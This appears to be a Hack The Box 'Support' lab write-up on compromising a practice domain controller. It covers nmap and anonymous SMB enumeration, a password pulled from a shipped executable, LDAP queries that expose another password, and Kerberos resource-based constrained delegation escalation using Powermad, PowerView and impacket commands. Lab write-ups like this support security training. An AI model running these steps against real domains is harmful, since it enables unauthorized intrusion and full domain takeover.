HTB Support — Write-Up

New Learning:

• Powershell scripting
• Active Directory Enumeration
• Kerberos Resource-Based Constrained Delegation Attack

Scan for open ports from target machine.

## nmap -vv -p- -Pn 10.10.11.174

## nmap -vv -p- -Pn -sV 10.10.11.174

Enumerate Port 445/SMB

## SMB with anonymous access

smbclient -L \\\\10.10.11.174

## smbclient using anonymous access:

smbclient \\\\10.10.11.174\\support-tools

## Downloaded UserInfo.Exe.Zip, extracted content and reviewed code:

interesting file timestamp

downloaded UserInfo.exe.zip

extracted zip content

## Reviewed code and found interesting ldapquery function.

ldapquery function with password variable

## Got the Protected module: (it seems need to run the module to get the cleartext password)

password in encrypted string

## Since the code is running c#, I use powershell_ise to load and run the function in powershell. I copied the protected module code to powershell_ISE and add “Add-type” as CSharp. Modified some namespace and strings values.

Ref#1: https://blog.adamfurmanek.pl/2016/03/19/executing-c-code-using-powershell-script/

Ref#2: https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/add-type?view=powershell-7.2

## Ran the script $code and got the ldap@support.htb password:

ldap@support.htb password

## Tested query using ldap@support.htb account:

got a valid account for domain

Enumerate LDAP to get more user account:

## Check ldap access:

ldapsearch -x -H ldap://10.10.11.174 -D’ldap@support.htb’ -W -b “dc=support,dc=htb” -s base

ldapsearch using ldap@support.htb account

## Use windapsearch to enum LDAP/AD users:

windapsearch tool using ldap@support.htb account

## LDAP query for enabled accounts:

ldapsearch -x -H ldap://10.10.11.174 -LLL -D’ldap@support.htb’ -W -b “dc=support,dc=htb” -s sub “(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1.4.803:=2)))”

Enabled AD user accounts

## LDAP query for password lockout policy:

ldapsearch -x -H ldap://10.10.11.174 -LLL -D’ldap@support.htb’ -W -b “dc=support,dc=htb” -s sub | grep lockoutThreshold

password lockout policy

## I ran LDAP query without filter and scan each value generated:

ldapsearch -x -H ldap://10.10.11.174 -LLL -D’ldap@support.htb’ -W -b “dc=support,dc=htb” -s sub

# I found DC.support.htb (domain controller) got msDS-AllowedToActOnBehalfOfOtherIdentity settings is enabed. (Must check possible RBCD attack — Ref: https://github.com/tothi/rbcd-attack).

# I got the password of “Support@support.htb” account in AD info attributes.

Support@support.htb password

I ran samrdump.py and GetADUser.py from impacket-tool to enumerate more juicy accounts using ldap@support.htb account but found same regular accounts from previous query.

Findings:

- SMB shared files downloadable from support-tools using anonymous account.

- Password for LDAP@support.htb extracted from UserInfo.exe code.

- Password for user support@support.htb found in AD Users object Info Attributes.

- Possible Kerberos Resource-Based Constrained Delegation Attack.

Access and attack process:

## Access DC.support.htb using Evil-Winrm:

evil-winrm login using support@support.htb account

user.txt

## Ran enumeration inside target machine:

# Ran winpeas but found no vulnerabilty for PrivEsc.

# check support@support.htb privileges / permission.

# Collected AD info using bloodhound injector and ran bloodhound from my kali machine.

Support@support.htb can PSremote to DC (already using evil-winrm)

Found “GenericAll” permission for Shared Support Accounts@support.htb (we can write changes on AD objects DACL).

Support@support.htb is Memberof Shared Support Account.

Performed Privilege Escalation using RBCD [Ref:https://github.com/tothi/rbcd-attack] attack:

## Login to dc.support.htb machine using evil-winrm:

## Uploaded powermad, powerview, rubeus, admodule.

tools for RBCD attack

## created fake computer account using powermad

. ./powermad.ps1

$pass = Convertto-SecureString “password-123.” -AsPlainText -Force

New-MachineAccount -machineaccount uno02 -password $($pass)

created new uno02 machine

## Verified new machine created.

get-netcomputer -identity uno02

## Set PrincipalsAllowedToDelegateToAccount of DC.support.htb

. ./powerview.ps1

set-adcomputer dc -PrincipalsAllowedToDelegateToAccount uno02$

## Verified new settings of DC (domain controller machine) for PrincipalsAllowedToDelegateToAccount

get-adcomputer dc -properties PrincipalsAllowedToDelegateToAccount

## Set rbcd attack using impacket rbcd.py from my kali machine.

set rbcd attack delegation

## Request service ticket for administrator using Impacket getST.py.

Created administrator Service Ticket to local disk

## Exported administrator Service Ticket to my kali’s kerberos cache:

ls admin*

saved to kerberos cache

klist service ticket for administrator

## Access DC (target machine) using psexec and kerberos auth.

root.txt